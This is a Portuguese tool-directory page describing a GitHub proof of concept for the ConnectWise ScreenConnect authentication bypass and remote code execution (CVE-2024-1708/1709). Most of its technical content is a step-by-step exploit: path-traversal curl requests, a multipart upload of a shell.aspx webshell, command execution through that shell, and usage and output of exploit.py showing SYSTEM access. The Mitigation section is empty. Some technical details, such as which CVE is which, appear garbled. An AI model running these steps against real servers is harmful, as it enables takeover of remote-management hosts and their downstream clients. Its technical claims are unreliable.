Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-1708-connectwise_rce_reproduction — Reprodução de cve-2024-1708-connectwise_rce_reproduction | Kitploit
Ferramentas/GitHubGitHub/razureink/cve-2024-1708-connectwise_rce_reproduction
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHub
razureink/cve-2024-1708-connectwise_rce_reproduction

cve-2024-1708-connectwise_rce_reproduction

Reprodução de cve-2024-1708-connectwise_rce_reproduction

Ver Repositório
12há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect: Bypass de Autenticação e Execução Remota de Código

Pontuação CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Bypass de Autenticação Usando um Caminho Alternativo)
Software Afetado: ConnectWise ScreenConnect (anteriormente ScreenConnect) ≤ 23.9.7
Descoberto e Reportado: Fevereiro de 2024
Explorado em Ataques Reais: LockBit, Black Basta, Bl00dy e outros afiliados de ransomware


Sumário

  1. Visão Geral
  2. Detalhes Técnicos
  3. Versões Afetadas
  4. Etapas de Reprodução
  5. Uso da Prova de Conceito
  6. Mitigação
  7. Referências

1. Visão Geral

CVE-2024-1708 e CVE-2024-1709 são um par de vulnerabilidades encadeadas no ConnectWise ScreenConnect (anteriormente ConnectWise Control) que, juntas, permitem que um atacante remoto não autenticado obtenha execução remota de código total no servidor ScreenConnect.

  • CVE-2024-1708 — Bypass de Autenticação via Path Traversal. O endpoint SetupWizard.aspx (e endpoints relacionados de configuração/atualização) não sanitiza adequadamente as sequências de path traversal fornecidas pelo usuário (../). Um atacante não autenticado pode escapar do diretório de configuração pretendido e alcançar endpoints que deveriam exigir autenticação. Como o assistente é executado no contexto da conta SYSTEM (Windows) ou root (Linux), o atacante herda privilégios elevados.

  • CVE-2024-1709 — Upload de Arquivo Irrestrito levando a RCE. Depois que a autenticação é contornada, um atacante pode enviar um arquivo arbitrário .aspx ou outro arquivo executável para a raiz da web. Ao solicitar o arquivo enviado, código arbitrário é executado no servidor.

Impacto

Essas vulnerabilidades foram massivamente exploradas a partir de 19 de fevereiro de 2024 por múltiplos grupos de ransomware:

Grupo de RansomwareNotas da Campanha
LockBitVarredura ampla de instâncias ScreenConnect; usado para implantar o criptografador LockBit em etapas posteriores.
Black BastaAlavancou acesso a MSPs para pivotar para redes de clientes gerenciados.
Bl00dyCampanhas em menor escala visando servidores ScreenConnect sem patch.

Como o ScreenConnect é comumente implantado por Provedores de Serviços Gerenciados (MSPs) para gerenciar remotamente centenas de endpoints de clientes downstream, um único servidor ScreenConnect comprometido possibilita um ataque à cadeia de suprimentos — todo cliente com um agente conectado a esse servidor ScreenConnect está em risco.


2. Detalhes Técnicos

2.1 Bypass de Autenticação (CVE-2024-1708)

O servidor ScreenConnect expõe um assistente de configuração em:

/SetupWizard.aspx/

Em determinados estados de atualização/reparação, o servidor não impõe autenticação porque pressupõe que o assistente de configuração é a experiência de primeira execução. A falha crítica está na forma como o servidor processa o cookie __Session ou os cabeçalhos Transfer-Encoding / Content-Type ao acessar caminhos sob o namespace do assistente.

Ao enviar uma solicitação para:

/SetupWizard.aspx/../../ScreenConnect/Login.aspx

o path traversal cancela o contexto do "assistente de configuração", enquanto o servidor ainda acredita que o contexto de sessão não autenticada se aplica. O atacante é redirecionado ou recebe páginas como se estivesse autenticado.

Vetor alternativo: Os manipuladores PrepareUpgrade.aspx / PostUpgrade.aspx também não possuem verificações de autenticação e expõem funcionalidade de upload de arquivos.

2.2 Execução Remota de Código (CVE-2024-1709)

Depois que o atacante alcança um endpoint autenticado (ou acessa diretamente o manipulador de upload de arquivos no contexto de configuração), ele pode enviar um webshell .aspx malicioso:

POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %>...
------BOUNDARY--

O arquivo é gravado no diretório do aplicativo web (ex.: C:\Program Files\ScreenConnect\Website\). Solicitar o shell enviado o executa sob a identidade do servidor.

2.3 Causa Raiz (CWE-22 / CWE-288)

  • O servidor não consegue canonicalizar o caminho da solicitação antes do roteamento.
  • O manipulador SetupWizard.aspx confia que qualquer solicitação sob sua rota faz parte do processo de configuração e deve ignorar a autenticação — mas o path traversal quebra essa suposição.
  • Não há validação adequada de sequências ../ ou de travessia via symlink.

3. Versões Afetadas

Faixa de VersãoStatus
23.9.7 e anterioresVulnerável
23.9.8Corrigido (lançado em 20 de fev. de 2024)
23.9.9Corrigido
23.9.10 (mais recente)Corrigido

Nota: Servidores ScreenConnect auto-hospedados (on-premise) são os principais alvos. As instâncias ScreenConnect hospedadas pela ConnectWise (nuvem) foram corrigidas antes da divulgação pública e nunca foram vulneráveis.


4. Etapas de Reprodução

4.1 Configuração do Laboratório

  1. Baixe uma versão vulnerável do ScreenConnect (23.9.7 ou anterior).
    Instaladores oficiais podem estar disponíveis nos arquivos de parceiros da ConnectWise. Para testes, use uma VM isolada.
  2. Instale em um Windows Server (2019/2022) ou em um host Linux.
    • Caminhos de instalação padrão:
      • Windows: C:\Program Files\ScreenConnect\
      • Linux: /opt/screenconnect/
    • Porta web padrão: 8040 (HTTP) ou 443 (HTTPS se configurado)
  3. Garanta que o servidor esteja isolado na rede — não o exponha à internet durante os testes.

4.2 Verificar a Vulnerabilidade

# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"

Ou acesse a interface web e observe o número da versão no código-fonte da página.

4.3 Teste de Path Traversal

curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"

Comportamento esperado em um servidor vulnerável:

  • A resposta retorna um 200 OK ou um redirecionamento 302 para uma página autenticada por sessão, sem o prompt de login normal.
  • A resposta pode conter o HTML do console administrativo do ScreenConnect.

4.4 Upload de Webshell

curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -F "[email protected]"

4.5 Executar Comandos

curl "http://<target>:8040/shell.aspx?cmd=whoami"

5. Uso da Prova de Conceito

O script exploit.py que acompanha automatiza as etapas acima:

usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]

Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target hostname or IP
  -p PORT, --port PORT  Target port (default: 8040)
  -c COMMAND, --command COMMAND
                        Command to execute (default: whoami)
  --ssl                 Use HTTPS

Example:
  python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"

Exemplo de Execução

$ python exploit.py -t 192.168.1.100 -c "whoami"

[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system

6. Mitigação

Baixar ferramenta